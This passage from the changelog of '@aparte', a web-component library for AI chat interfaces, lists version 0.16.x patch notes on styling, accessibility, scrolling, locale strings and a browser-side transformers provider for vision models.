aparte-alert__icon,__body,__title,__message; its details block isaparte-segment-error__details), a card’s body folds its content’s outer margins into its padding, and the overlaid composer casts a shadow (--aparte-composer-overlay-shadow).Also:
hiddennow hides any element wearing anaparte-class — a recipe’s owndisplayused to outrank the browser’s[hidden], so a hidden button stayed painted (the copy button of a tool-only turn, on the built preview).The error renderer put the recipe’s class on its root and redrew every part under classes of its own —
aparte-error-icon-wrapper,-content,-title,-message,-detailsare gone, and so are the tokens only they read (--aparte-error-icon-size, a 20px literal among derived values, and--aparte-error-title). The card body let a paragraph’s margins stack on its padding, so the sheet’s own example measured a body twice the height of its header. Underoverlay-composerthe composer floated over the transcript with a z-index and the transcript’s own ground: a thing that floats has to be seen floating.@aparte/core -
2e8f3ed: The examples the kit pages render are specimens now: the accordion shows three items, the danger alert carries its icon, the skeleton keeps the family’s own block height, the app-shell shows a populated sidebar, header and transcript, the split’s second pane is a styled document with a colour scheme, the scroll-rail and elicitation examples carry a complete composer, and every chat example is sized in rem. The tool row’s approval label reads “Waiting” (was “waiting for you”) and wears a pause glyph — the one capitalised word plus a glyph its sibling states use;
pausejoins the built-in glyphs.Measured on the built previews: 34 of the 59 kit previews render a header example or an
@exampleverbatim, so those strings are the showcase, not documentation — and they had been written as excerpts. One accordion item let:last-childremove the only rule the family draws; the--dangeralert without an__iconbeside an--infowith one zig-zagged the left column by 23px;block-size: 64pxinline contradicted the skeleton’s5remtoken;height: 320pxsheared the chat’s first turn at 375. A test now holds the three rules for every sheet and element: enough instances for the relation rules to exist, every documented part present, no hard pixel value against a token of the family.@aparte/core -
a62abf9: Field groups and the colour field get their corners back; the field family’s knobs now live on
:root.--aparte-field-radiuswas declared on.aparte-fielditself and read by.aparte-field-group(the field’s parent) and.aparte-color(a sibling recipe). A custom property only inherits downwards, so both computedborder-radius: 0— every field group in the library rendered square (the sidebar’s search, ahttps://prefix group). Measured 0px → 9px. Thirteen field knobs (paddings, radius, textarea height, checkbox/radio/switch/range sizes) move totheme.cssbeside the button’s, where the theming guide sends you and where every other family’s knobs already are. Values are unchanged; the elicitation panel’s own overrides still win inside it.@aparte/core -
28b9ead: The branch picker’s arrows are glyphs from the icon provider (so
setIconProvider({ prevBranch, nextBranch })now reaches them),menuandalertTrianglejoin the built-in glyph set,downloadandstopare redrawn on the 24-unit grid the rest of the set uses, and a menu that holds a checkable item reserves the check gutter on every item.The bubble wrote
‹and›as text — hairline characters beside 2-unit SVG strokes in the same row — while the two glyphs already existed and were registered as provider keys nothing read. The app header’s documented toggle drew☰as text becausemenulived only in the extended set behind@aparte/core/icons, and the alert recipe’s documented<aparte-icon name="alertTriangle">drew a 16px hole for the same reason; core’s documented markup is core’s drawing, so both move in (the extended set no longer exports them). Two of the 28 glyphs were on a 16-unit grid and painted their stroke 50 % heavier than their siblings. The menu’s check gutter was reserved per checkable item, so a plain item beside a checkable one started 16px further left; a panel with any checkable item now reserves it on all of them.@aparte/core -
1c5fc64: The two spinners share one stroke, in screen pixels; a determinate ring has a visible track; every pulsing dot pulses in opacity alone, above a named floor (
--aparte-pulse-floor); the context gauge’s ring is as heavy as its bar. And the shapes that have to be seen draw themselves:--aparte-trackis the ground of a gauge or a skeleton (derived relative to the page), the user bubble is tinted like every other mark, the scrim has a dark value, the scroll rail is as wide as its widest tick and its ticks rest in the control-edge colour.--aparte-spinner-strokeand--aparte-context-ring-strokeare gone (the rings read--aparte-spinner-thicknessand--aparte-progress-height).The SVG spinner stroked at 2.5 viewBox units — 1.67px in a 16px box, antialiased, 50 % off its CSS sibling — and its track sat at 15 % of the ink, so a determinate 62 % was the percentage of a circle nobody could see;
vector-effect: non-scaling-strokemakes the SVG’s weight the CSS ring’s whatever the size. The shared pulse moved in scale as well as opacity, so a row of waiting dots changed width in a loop, and its 0.3 floor left the status dot at 1.55:1 for half of every cycle. A skeleton of one line no longer renders at 60 % of its width. The values on the new tokens are first settings; the names are the fix.@aparte/core -
d79813f: The spinner, the skeleton, the indeterminate progress bar and the status dot stop under
prefers-reduced-motion: reduceinstead of flickering.The duration tokens were already reset to 0.01ms under that media query, but a 0.01ms cycle with
infiniteleft in place is not stillness: the recipe keeps repainting at a random phase every frame. The descendant sweep inresponsive.cssonly reaches elements inside aparté’s own custom elements, so a recipe used in a consumer’s own markup got neither. Each looping recipe now stops itself withanimation: none, the way the spinning icon already did. The skeleton also drops its shine (a stopped gradient sat as a pale band) and the indeterminate bar fills the track (a stopped segment sitting at one spot read as a value). A stylesheet test now asks the same of every looping animation in core.@aparte/core -
7774e65: The composer’s box now starts where the transcript’s rows start, at every width: the viewport measures its own inset (padding plus the scrollbar gutter it reserves) and publishes it on the chat host as
--aparte-transcript-inset; the composer pads by it, with the old--aparte-viewport-paddingas the fallback when no viewport sits beside it.Before, the two were independent stacks. The transcript’s rows sat inside a padding plus the gutter the scroller reserves on both edges, the composer inside a flat padding — 10px apart at 768, the gutter’s half apart at 1280 — and the container query that tightens the transcript under 520px could not reach the composer, which is a container of its own. The composer cannot know the gutter and a query cannot cross it, so the element that knows now says it. The property is written on the HOST, not on the viewport: the composer is a sibling, and a custom property only travels down.
@aparte/core -
fee67b7: One focus ring for every control: a 2px outline in
--aparte-border-focus, one spacing step OUTSIDE the box (--aparte-focus-outline-offsetisvar(--aparte-space-1), it was −2px). The soft box-shadow ring (--aparte-focus-ring), the field’s error ring token, the button’s private offset and the select’s--aparte-select-ring/--aparte-select-border-focusknobs are gone; an invalid field’s ring takes the error colour, a field group draws the ring for the field inside it, and the select’s search field is the one documented exception (its ring is inset, an outset one would be clipped by the scrolling panel).The kit drew keyboard focus two ways — seventeen recipes with a solid outline, five with a soft wash at 30 % of the accent that measured 1.39:1 against the page, an indicator that was absent rather than weak — and four of the outlines took the control’s intent colour rather than the focus colour. Inside the box, the ring sat 2px from a bordered row’s edge as a second concentric line, and the next row painted over it. The forced-colors block no longer restates outlines that now exist.
@aparte/core -
735ca53: Every control has a height from one scale — sm 24 · md 32 · lg 36 · xl 40 — and control text is the 14px step: a text button is as tall as an icon button (
min-block-size), the field rests at 36 (--aparte-field-size;--sm/--lgone step either side), a button inside a field group takes the field’s height, the select trigger is a field, and the composer’s controls are 36 at rest and the touch target under a coarse pointer (--aparte-composer-control-size, now a declared knob).Measured across the previews, 18 of 59 showed two controls side by side at different heights, and the number that kept coming back was 23px: the text button, which had no height at all, beside 24, 29, 32, 36 and 44px neighbours. The scale had three steps that only
--iconand--circleread, and a 36px family (send, the input’s action button, the scroll button) that lived off it as literals — it is the named lg step now, and the old 40px step isxl(.aparte-btn--xl;.aparte-btn--lgis 36px, which is what the scroll button already measured). Control text moves from 13px to 14px on the button and the field;--smand--lgbecome three distinct steps again. The desktop composer was a 62px bar around 15px of text because its control size defaulted to the touch target everywhere; it is 36 at rest and 44 under(pointer: coarse), which is what that block was for.@aparte/core -
212aebd: At a phone’s width the kit folds: the app shell recipe becomes one column under 48rem (the sidebar element already left the grid as a drawer, the grid kept its column anyway), the split’s minimum is
min(20rem, 100%)so a pane can never ask for more than the viewport has, and a modal dialog on a phone is a bottom sheet as tall as its content, capped at the screen and clear of the safe areas — it used to stretch a label, a field and two buttons over a 100dvh sheet glued to the physical edges.Measured on the 375px captures: the shell gave 259 of its 303px to the sidebar and left the chat a 43px band with the send button cut in half; a 20rem floor on a 375px screen annihilated the end pane to 0px; 586px of empty sheet under a three-control form.
@aparte/core -
28b9ead: The spinner, the menu, the popover, the tooltip and
<aparte-chat>arebox-sizing: border-box, so their tokens and an author’sheightare the box they paint; a tooltip is as wide as its label.Core ships no global reset on purpose, and these recipes set a size and a padding or border in the same rule, so they painted larger than their token under the browser’s default: the spinner 16/20/28 for tokens of 12/16/24, the popover 342px for a cap of 320,
<aparte-chat style="height: 320px">336px with a split’s seam hanging 16px below both panels — and the token’s value only on a host page with a border-box reset of its own. The tooltip declared amax-widthand no width, so as a positioned chip it shrank to its widest word: “Copy to clipboard” broke into two lines at every width. It iswidth: max-contentnow, with the same cap.@aparte/core -
c9529d2: A tool call’s state sits beside the tool’s name, the reasoning block’s chevron sits beside its label, the context gauge’s bar has a measure (16rem), and the starter suggestions take the composer’s column.
An unbounded
margin-inline-start: autopushed the two ends of one line 554 to 1180px apart on a wide host: the state 596px from the tool name, “Reasoning” 692px from its chevron, a 1046×4px gauge, chips 188px off the composer once the host passed its cap. What belongs to a label sits beside it; what belongs to a column takes its measure. The accordion recipe keeps its chevron at the end — that is what an accordion is.@aparte/core -
d78b150:
<aparte-select>now honoursplaceholderanddisabledwritten after mount, its presence setters (and<aparte-option>’s,<aparte-optgroup>’s) accept the empty string as ON, the unreadgroupedattribute is gone, and a loading group saysloadingfrom the locale instead of “Fetching models…”.Both attributes were observed and neither had a branch in the change callback, so a placeholder rewritten by a locale switch left the visible label and the combobox’s
aria-labelin the old language, and a select disabled after mount kept a trigger in the tab order, announced as operable. The trigger now takesaria-disabled="true"andtabindex="-1"while disabled (an open dropdown closes), and the label and botharia-labels follow the placeholder. Five setters (open,selected,disabled,collapsed,loading) still read''as false, so a Svelte 5 template that set them removed the attribute; they use the same spelling as the split and the sidebar now, and one test enumerates all nine presence setters in core.groupedwas observed and read by nothing (groups render from<aparte-optgroup>children alone); it leaves the attribute list and the docs. New locale key:loading(default “Loading…”).@aparte/core -
9337dd2: Five rendering bugs found by looking at every preview: the reasoning block’s chevron turns again when it opens; an
<aparte-icon>inside.aparte-btntakes the button’s icon size; code blocks are set in the code typeface at a code size; the message row’s padding follows the narrow container again; and a turn with nothing to copy shows no copy button. Attachment tiles now use the thumbnail recipe’s part names —aparte-thumbnail__imageandaparte-thumbnail__labelreplaceaparte-thumb__imgandaparte-thumb__ext— and the composite--aparte-message-paddingtoken is gone (read--aparte-message-padding-blockand--aparte-message-padding-inline).Each was a form defect, not a palette one. The thinking renderer put its glyph straight into the
<summary>, so the accordion recipe’s rotation rule matched nothing — and the recipe’s own documented markup, a bare<aparte-icon>in the header, matched nothing either; both forms are sized and turn now.button.csssized.aparte-btn > svg, and<aparte-icon>renders its svg one level deeper, so the documented markup kept a 14px glyph in a button that asked for 16; the recipe now feeds--aparte-icon-size, the icon’s own knob, which also sizes the accordion chevron. The code block’s<pre>declared nofont-family,font-sizeorline-heightand fell into the browser’s generic monospace at the prose’s size — two theme tokens,--aparte-code-block-font-sizeand--aparte-code-block-line-height, now carry them.--aparte-message-paddingjoined its two parts on:root, where a custom property is substituted, so the container query that reassigned the parts on.aparte-messagenever reached the row; a test now refuses any composite token whose parts are redeclared elsewhere. The copy action was offered unconditionally and copied''on a tool-only turn. The tile parts were drawn twice under two vocabularies, the documented one emitted by nothing; one survives.--aparte-thinking-toggle-size, unread since the chevron became a glyph, is removed.@aparte/core -
7826e07: The sidebar’s four regions (header, search, body, footer) indent by one new token,
--aparte-sidebar-inset(12px); the selected conversation’s mark follows the row’s radius; and the tool row’s chevron, its part labels and icon, the code header’s language label and the branch picker’s disabled arrows are coloured with the muted ink instead of faded by anopacity.Measured on the built previews: the sidebar’s header and footer padded 16 while its search and body padded 12, so a 260px column showed its content on two vertical axes and the app-shell demo four left edges; the 2px selection bar stood square in a 9px-rounded corner with a sliver of the page’s ground between the two; the tool row’s disclosure chevron at
opacity: .5sat at 3.00:1, exactly on the WCAG floor, and it is the control that reveals adelete_file’s arguments; the code language label was already muted and then multiplied by .7; the disabled branch arrow read at 1.74:1 — as absent, not as disabled. Quiet is a colour: opacity on a container fades the glyph with its ground and cannot be reasoned about against any background. The mark is now painted as the first pixels of a row-sized pseudo that inherits the radius — notoverflow: hiddenon the row, which would clip the title button’s focus ring.@aparte/core -
100d089: A
[data-aparte-sidebar-toggle]control now carriesaria-expandedandaria-controls, kept in step by the sidebar whoever changes the state, and the open drawer keeps Tab inside it.The toggle opened and closed the sidebar without announcing its state, while the conversation row’s own
⋯button already did; the sidebar gives itself an id when the host wrote none, so the control can point at it. Tab from the drawer’s last control used to walk out under the scrim onto the transcript it was covering; it wraps to the first control now, and Shift+Tab the other way. Nofocusinguard was added on purpose: it would steal the focus back from a dialog the drawer’s own content opens onto<body>.@aparte/core -
fee67b7: A skeleton text line holds the place of the line it stands for: its height is the content’s font size and its gap the rest of the content line (
--aparte-skeleton-text-height,--aparte-skeleton-text-gapare derived from--aparte-content-font-sizeand--aparte-content-line-height).The bar was 12px on an 18px step while a line of content is 16px on a 27px step, so the text that replaced it jumped by a third of a line per line. A placeholder that does not hold the place it promises is not a placeholder.
@aparte/core -
dc4a7b7: The bubble’s action bar, its branch arrows and the conversation row’s
⋯are all the button recipe’s small step (24px); the select trigger declares its own font size and reads the theme’s--aparte-radius-select.Three controls redrew their own box over the recipe: the arrows set width and height to a 20px token while the element also carried
--sm(24), the⋯did the same at 20, and the action bar fed 28 with a 24 exception for the last user turn — three control heights in one row. They feed the recipe’s token or wear its modifier now, and under(pointer: coarse)the⋯takes the touch-target size like the other four.--aparte-branch-picker-btn-sizeand--aparte-branch-picker-btn-icon-sizeare gone;--aparte-action-bar-btn-sizeand--aparte-conv-action-btn-sizedefault tovar(--aparte-btn-size-sm). The select’s trigger declared nofont-sizeat all and took the host page’s, so every integrator saw a different select; it reads the control step. Its radius existed twice under two names with two values — the private--aparte-select-radiusis gone, the theme’s--aparte-radius-selectstays.@aparte/core -
fee67b7: The split’s seam is a 1px line (
--aparte-split-seam-width, the kit’s border width) painted inside a 12px track (--aparte-split-handle-size, it was the 4px painted seam), with a grip under the pointer and while dragging.One token sized both the grid track and the painted line, so the seam could not be thinned without moving the layout; at 4px it was four times the kit’s rule and had nothing to take hold of — an interaction drawn as a decoration. The panes give up 8px between them; the grab zone is what it was on a fine pointer and the touch target on a coarse one.
@aparte/core -
1f89afc: The segmented tab track is as wide as its chips (not its container), its selected chip is raised on both grounds, the tab panel shares the tab’s inline inset; the elicitation’s recommended option keeps its ground while focused, and the options sit far enough apart for the focus ring to show whole.
.aparte-tabs--segmentedwas a block-level flex row and painted 1207px of track for 160px of chips at 1280; it isinline-flex. Its selected chip was an absolute surface level — raised in light, sunken in dark — and now carries a 1px ring in the border colour. The panel had no inline padding, so its text hung 11px left of the tab above it. In the elicitation panel the recommended option, the one that takes focus on mount, was the only row with no ground: the rule that cleared its tinted border under focus cleared its background too. And the options sat 2px apart, narrower than the focus ring’s outset, so the next row painted over the ring’s bottom edge; the gap is 6px.@aparte/core -
dc4a7b7:
data-side="top | bottom | start | end"places a tooltip against its trigger — wrap the trigger in.aparte-tooltip-anchor— and turns the arrow to match;--aparte-tooltip-gapis the distance. No inline positioning needed any more.The recipe drew the box and the arrow and left the placement to two inline styles in its own example. A demo that needs inline styles to work is a recipe with a parameter it forgot. Flipping a tooltip that would leave the viewport stays out: that needs script, and it is a positioning library’s job. Without
data-sidenothing is positioned, as before.@aparte/core -
54ab107: The type ramp rises in the order of its names:
--aparte-font-size-lgis 1.0625rem (above the body’sbase, it was 0.875rem — below it), and--aparte-font-size-xl(1.25rem) and--aparte-font-size-2xl(1.5rem) exist. Every reader of the oldlgmoved to the step it meant: the text a person types is the body size, a sender name sits one step under the prose, a card title is above its body, an elicitation question is larger than its options, a dialog title takes the newlg, the large field and the large buttons speak at the body size.Measured: a welcome title and a placeholder at the same size, a card’s title smaller than its body, a full-screen dialog’s title at 14px, and the typed text the smallest in the chat. A scale whose name lies is worse than a short one. The artifact card’s labels that read
lgfor “a notch above the control text” now readbaseormd, so they keep their size.@aparte/core,@aparte/plugin-artifacts -
7e5910a:
<aparte-model-selector disabled>disables the picker, and inside an<aparte-composer>the picker follows the composer’s owndisabled— it used to stay fully operable while the field and the send button around it were inert.@aparte/plugin-model-selector -
d78b150: Stops writing the
groupedattribute on its<aparte-select>: the select never read it, groups render from the<aparte-optgroup>children alone.@aparte/plugin-model-selector -
2e8f3ed:
approvalWaitingreads « En attente » (was « en attente de vous »): one capitalised word, the shape every other tool state uses in the row.@aparte/locale-fr -
d78b150: Adds
loading(“Chargement…”), the text an option group shows while its options are fetched.@aparte/locale-fr
Version-only bumps (no changes of their own): @aparte/engine, @aparte/provider-ai-sdk, @aparte/provider-openai-compat, @aparte/provider-scenario, @aparte/provider-transformers, @aparte/plugin-approval, @aparte/plugin-ask-user, @aparte/plugin-compaction, @aparte/plugin-marked, @aparte/plugin-shiki, @aparte/plugin-streaming-markdown, @aparte/angular, @aparte/react, @aparte/svelte, @aparte/vue, @aparte/docs-mcp.
0.16.7
Every @aparte/* package ships at this version (they are released in lockstep).
Every published README opens on its category line, and core’s quickstart says what the client now does on its own (echo included).
Patch Changes
-
42a9d09:
AparteClientechoes the user’s message by default — and echo ownership is a handshake, so nothing doubles.The optimistic user bubble used to be every raw-core host’s job: everyone wrote the same
aparte-sendhandler, and whoever forgot shipped a chat where the person cannot see what they typed — it compiles, it streams, and nothing errors. Three consumers hit exactly that.Whoever appends the user message marks the event (
detail.echoed), and whoever sees the mark yields: theConversationController(capture phase, so always first) marks for the wrappers’ pairing with a raw client, and the client marks after its own echo, so even two clients on one page render the message once. Attached files ride the echoed bubble as attachments; the wire cannot double — the history builder already excludes trailing unanswered user messages. A raw-core host that still appends its own bubble should drop that handler, or passechoUserMessage: falseto keep ownership.@aparte/core -
9df0877: Every package names its documentation page (
homepage) — nothing in the code changes.npm shows the link first on each package page; none of the twenty had one. Each now points at its own docs page, verified live before it was written. every package
-
b5891b9: The chat follows the system color scheme by default;
data-aparte-themenow forces either way —"light"is new.Dark existed only behind
data-aparte-theme="dark": on a dark OS, an un-attributed chat rendered light on the host’s dark page — unreadable, with no error. Measured by a consumer building from the docs alone. With no attribute,prefers-color-schemenow decides;"dark"still forces dark;"light"(new) forces light, which is the veto a light-always page needs and the escape a themed island inside an opposite page uses. If your app already flips the attribute from its own toggle, nothing changes — the attribute beats the OS in both directions. The dark palette exists twice in the sheet (a media query and an attribute selector cannot share a block);check:derived-varsnow holds the copies byte-identical, and holds the light veto to the:rootliterals, so the duplicates cannot drift.@aparte/core -
44a3611: The
{ text }docs no longer say core parses markdown — a markdown plugin renders it.Without
@aparte/plugin-markedor@aparte/plugin-streaming-markdown, scripted text streams as plain text,**stars**included. The docs said “parsed by core”, which is not what ships: core deliberately has no markdown renderer. Wording only.@aparte/provider-scenario -
8f9d56f: A
scenarios-mode tool call without itsafterroute warns at creation.whenplus a turn containing a tool is perfectly plausible to write — and the default match then routes the tool result back through the samewhen: identical rounds until the client’smaxTurnserror. The hole is visible at creation, so it is said at creation, naming each unrouted tool. Orderedturnsmode and a custommatchare exempt.@aparte/provider-scenario
0.16.6
Every @aparte/* package ships at this version (they are released in lockstep).
Patch Changes
-
cc303dc: An elicitation’s question no longer runs under the corner “Skip” button (#50).
The button is absolutely positioned, so nothing in the flow reserved its width: any message long enough to reach the panel’s edge printed its first line underneath it — measured at 43px of text under “Skip” in a 460px panel.
.aparte-elic-messagenow keeps the same room the tab rail already reserves, from the same token (--aparte-elic-dismiss-room), so the two can never disagree — and a locale whose word is wider than “Skip” bumps one value instead of patching two rules.@aparte/core -
e8043ba: npm keywords carry the words people actually type — nothing in the code changes.
Core goes from 5 keywords to 19 (chat-ui, ai-chat, chatbot, chat-component, custom-elements, framework-agnostic, the four framework names, agent, tool-calling, human-in-the-loop, openai); each wrapper gains chat-ui and ai-chat. Measured against the category’s incumbents: none of ours were the terms a search starts from.
@aparte/core,@aparte/angular,@aparte/react,@aparte/svelte,@aparte/vue -
1f7365f: Presence setters treat
''as ON, so Svelte templates actually set the attribute (#62).The attribute types document
''as the spelling for a presence attribute, because React and Vue stringify what they set on a custom element. Svelte 5 takes the property path instead whenever the element has an accessor — andsingle={''}on<aparte-split>(likewisecollapsed,disabled, and the sidebar’scollapsed) handed the setter an empty string thattoggleAttributeread as falsy: the attribute was removed, the opposite of what the template asked for, silently. On a presence property an empty string now means ON, exactly as an empty attribute does;false,nullandundefinedstill mean OFF.@aparte/core
Version-only bumps (no changes of their own): @aparte/engine, @aparte/provider-ai-sdk, @aparte/provider-openai-compat, @aparte/provider-scenario, @aparte/provider-transformers, @aparte/plugin-approval, @aparte/plugin-artifacts, @aparte/plugin-ask-user, @aparte/plugin-compaction, @aparte/plugin-marked, @aparte/plugin-model-selector, @aparte/plugin-shiki, @aparte/plugin-streaming-markdown, @aparte/locale-fr, @aparte/docs-mcp.
0.16.5
Every @aparte/* package ships at this version (they are released in lockstep).
Patch Changes
-
8593b60: Five fixes to how the chat feels: the composer no longer comes up ~200 px tall on a slow layout, a send glides to the top instead of jumping, an older message’s action bar sits under the message (in the existing gap, no reserved row), a selected button-group segment reads as selected at rest, and
<aparte-split single>shows one pane on demand.- Composer (#55). The editor sometimes rendered ~200 px tall while empty, in any host. The auto-grow read
scrollHeightat three fixed instants and then only on input; when one fell before the box had its width, the placeholder — a::beforethat counts inscrollHeight— wrapped over a dozen lines and the number stuck. AResizeObserverre-measures on width changes, and the placeholder never wraps (white-space: nowrap, clipped like a native input’s). - Send glide (#57). The new user message is meant to glide to the top; it jumped. Measured: five instant
scrollTopwrites in the send’s own frame (the spacer recalculation pins synchronously, the mutation observer queues another), so the smooth scroll found the view already teleported — and in framework-managed mode the observer’s instant pin ran before the wrapper’srequestSmoothScroll()was honoured (630 px in one frame on React). The glide now begins before the spacer recalculation; while it is in flight, every bottom-pin re-targets it with a second smoothscrollTo(scrollendcloses the window, 450 ms budget otherwise); a user bubble the observer sees arrive is a send whoever rendered it. Streaming is instant again after the glide. Reduced motion keeps the instant path. Three engines then refined it: WebKit firesscrollendwhen a smooth scroll is re-targeted, so only a scrollend that rested at the bottom closes the window; a batch that re-adds several bubbles (a branch swap) is a rebuild, not a send, and pins as it always did; and the reader’s hand ends the glide — wheel and touch stop the animation where it is, a scroll key only closes the window, because the engine animates key scrolls itself. A glide that never arrives is settled by its own timer. - Action bar placement (#56). An older message’s bar floated top-right over the header row, because the bubble is a paint-containment boundary and the inter-bubble gap was a flex
gapoutside every box. The gap is now each bubble’s ownpadding-block-end(same token, same distance), inside its box, and the bar hangs under the text overmessage padding-block + gap— 16 + 12 = 28 px at the default density for a 24 px bar. The last reply keeps its always-visible bar in the flow. Two theme tokens appear:--aparte-message-padding-blockand--aparte-message-padding-inline;--aparte-message-paddingis now derived from them, so a theme that overrode the shorthand should override the two parts instead. - Button group (#53).
aria-pressed="true",aria-selected="true"oraria-currenton a segment of.aparte-btn-grouppaints it solid in the group’s intent (neutral for--surface), at rest, and hover leaves it alone; a toggled--outline/--softbutton outside a group is washed at 30 %, deeper than its 22 % hover. Before, the toggled wash was--aparte-btn-bg-toggled(surface-2), invisible on dark, and hover read as the state. - Split (#54).
single(boolean) shows one pane — the onepanenames — whatever the width: the seam and the other pane are gone, as under the breakpoint, and the seam loses its tab stop.collapsedstill folds the primary pane to--aparte-split-minand keeps the seam; the CSS route.aparte-split--only-start/--only-endis unchanged.
Measured with two new browser specs (the send’s per-frame
scrollTopcurve and every write to it, on vanilla, React and WebKit; the older reply’s bar geometry, hovered, on vanilla and React) plus 16 unit tests; the scroll-button, overlay, bubble-actions and framework-smoke geometry specs stay green. Thecheck:derived-varsceiling on responsive sizes moves 8 → 9 for the split padding token.@aparte/core - Composer (#55). The editor sometimes rendered ~200 px tall while empty, in any host. The auto-grow read
Version-only bumps (no changes of their own): @aparte/engine, @aparte/provider-ai-sdk, @aparte/provider-openai-compat, @aparte/provider-scenario, @aparte/provider-transformers, @aparte/plugin-approval, @aparte/plugin-artifacts, @aparte/plugin-ask-user, @aparte/plugin-compaction, @aparte/plugin-marked, @aparte/plugin-model-selector, @aparte/plugin-shiki, @aparte/plugin-streaming-markdown, @aparte/angular, @aparte/react, @aparte/svelte, @aparte/vue, @aparte/locale-fr, @aparte/docs-mcp.
0.16.4
Every @aparte/* package ships at this version (they are released in lockstep).
Patch Changes
-
@aparte/engine@0.16.4
@aparte/core -
e20d80a: Register a model with
task: 'image-text-to-text'to run a vision model in the browser, or pointrunnerat a module of your own; a text model now says when it drops an image, and Stop honoursctx.signal.The worker forced
pipeline('text-generation')on every model: thetaskthe main thread posted was never read, the public type made registering a vision model a TypeScript error, and image parts were flattened away on the main thread with no warning — a photo attached to a text model produced an answer that pretended to have seen it.What changed, for the caller:
TransformersModelConfig.taskis optional and accepts'text-generation'(the default, unchanged) or'image-text-to-text'(AutoProcessor+AutoModelForImageTextToText— SmolVLM, Qwen2-VL, LFM2-VL, Gemma 3…). Transformers.js 4.x has no pipeline for that task, so the runner goes through the model classes the way the model cards do. Image parts reach the model as the composer attaches them; a turn without a picture goes through the tokenizer alone (the processor wants images — “hello” as a first message crashed a real SmolVLM until it did).TransformersModelConfig.runnernames an ES module of your own exportingcreateRunner(ctx); it wins overtask. The worker imports it (URL resolved against the page) and hands it the same Transformers.js instance the built-ins use.emitspeaks the stream vocabulary (text,thinking,tool_use,done,error),signalfires on Stop,ctx.progress/ctx.warnreach the page,dispose()runs on a model switch. New exports:TransformersRunner,RunnerContext,RunnerGenerateInput,RunnerProgress,RunnerModule,CreateRunner,BuiltInRunner,TransformersModule, andrunnerCommand(modelId, name, payload)to reach a runner’scommand()from the page, queued behind the generates in flight.- The text runner warns once when it drops image parts (naming the vision task), as it already did for tool turns.
chat()readsctx.signal: a user’s Stop now interrupts the model, not just the local read (the contract said bridges MUST; this one read it nowhere). Abort and stream-cancel are one stop; a signal already aborted never posts the generate.
Each runner is its own chunk under
dist/assets/, loaded when a model asks for it (a runner imports core for types only — the first build that took a helper from it shipped all of core in a 426 kB chunk; it is 2 kB). Measured on Chromium + WebGPU (AMD Radeon 8060S), page and package on two origins, Transformers.js 4.2.0 from jsDelivr:HuggingFaceTB/SmolVLM-256M-Instruct(fp16/q4/q4) loads in 7 s download included, answers “Rectangle, circle.” to a red square with a blue circle in 3.7 s cold, and Stop ends the stream within two tokens;SmolLM2-135M-Instructstill streams and stops; a 20-line custom runner imported cross-origin drives the transcript and answers arunnerCommand.@aparte/provider-transformers
Version-only bumps (no changes of their own): @aparte/engine, @aparte/provider-ai-sdk, @aparte/provider-openai-compat, @aparte/provider-scenario, @aparte/plugin-approval, @aparte/plugin-artifacts, @aparte/plugin-ask-user, @aparte/plugin-compaction, @aparte/plugin-marked, @aparte/plugin-model-selector, @aparte/plugin-shiki, @aparte/plugin-streaming-markdown, @aparte/angular, @aparte/react, @aparte/svelte, @aparte/vue, @aparte/locale-fr, @aparte/docs-mcp.
0.16.3
Every @aparte/* package ships at this version (they are released in lockstep).
Patch Changes
- 9406f16: In core mode with
overlay-composer, the transcript’s scroll surface no longer overruns its host by the composer inset..aparte-viewport-containerisheight: 100%and carries the overlay clearance aspadding-bottom; withoutbox-sizing: border-boxthe padding was added to the height, so the surface stood the whole inset taller than the viewport, clipped — that much scrollbar and content cut off at the bottom. Hosts with a global* { box-sizing: border-box }reset (every example app in this repo) never saw it; a page without one did. The box declares its own sizing now.@aparte/core
Version-only bumps (no changes of their own): @aparte/engine, @aparte/provider-ai-sdk, @aparte/provider-openai-compat, @aparte/provider-scenario, @aparte/provider-transformers, @aparte/plugin-approval, @aparte/plugin-artifacts, @aparte/plugin-ask-user, @aparte/plugin-compaction, @aparte/plugin-marked, @aparte/plugin-model-selector, @aparte/plugin-shiki, @aparte/plugin-streaming-markdown, @aparte/angular, @aparte/react, @aparte/svelte, @aparte/vue, @aparte/locale-fr, @aparte/docs-mcp.
0.16.2
Every @aparte/* package ships at this version (they are released in lockstep).
Patch Changes
-
705224b: Moving a chat in the DOM (into an
<aparte-split>pane, an app shell, any reparenting) no longer disconnects the composer’s wiring: the editor kept the draft in the DOM butvaluenever heard of it, the send button stayed disabled with text visibly in the box, and every composer button had lost its click.Every composer child bound its listeners inside
_render(), behind the “DOM already there” early return, whiledisconnectedCallbackremoved them — so the first reconnect left them deaf. Binding is the connect’s job now, in all five (input,send,cancel,action,add-attachment);_renderonly builds. The vanilla example’s?layout=splitand?layout=shellvariants moved the chat exactly this way, so the bug was live on both — nothing sent a message there, which is why nothing saw it.@aparte/core -
9df343c:
overlay-composeron<aparte-chat>(andoverlayComposeron all four wrappers): the transcript’s scroll surface spans the whole column and the composer floats over it, so the scrollbar runs edge to edge instead of stopping at the composer’s top — the full-page anatomy the Layout guide sold without this half. Opt-in, never the default: a chat embedded in a small box should not have its composer eating the transcript.The viewport leaves the flow (absolute over the shell); elicitation, an above-composer row and the composer keep flowing, bottom-anchored, painted over it. The viewport measures that stack and publishes
--aparte-bottom-inset; content, the spacer and the scroll button clear it — and its readers are unconditional (0px unset), so a host that overlays a composer of its own can write the variable by hand without the attribute. When the composer grows under a reader pinned at the bottom, the inset is re-measured and the reader re-anchored in the same observer pass — the view-jump every hand-rolled overlay hits.The attribute is read when the viewport wires its observers: set it in the initial markup. Angular binds it on its inner
.aparte-chat-container(there the host is theaparte-chatelement and the viewport is the inner div’s child) — use theoverlayComposerinput.@aparte/core,@aparte/angular,@aparte/react,@aparte/svelte,@aparte/vue -
39b777f: The scroll-to-bottom button floats 16px above the transcript’s bottom edge in framework-managed mode (React, Vue, Svelte, Angular wrappers), at every scroll position. It used to sit the whole
padding + spacerhigher — up to a few hundred pixels into the messages.Two causes, one per symptom. A
position: stickychild is clamped to its parent’s content box, and the bottom spacer was carried aspadding-bottomon the scrolling host — territory the button could never enter — so it hungpadding + spacerabove the edge wherever the reader was. The clearance now lives in an::afterflex item instead: still nothing in the DOM, so the framework’s reconciliation sees exactly what it saw before. And a bottom-sticky element sits at its flow position whenever that is above the sticky line, so a button flowing before a 230px spacer drifted upward as the reader neared the bottom —order: 1puts its flow position after the spacer, and the sticky line always wins.If you worked around this with your own
padding-bottom: 0+::afteroverride on the viewport, you can remove it — it is now a no-op with the same values.Two side effects of the rework, caught on screen and now asserted in the smoke suite: an empty transcript no longer grows a scrollbar (the
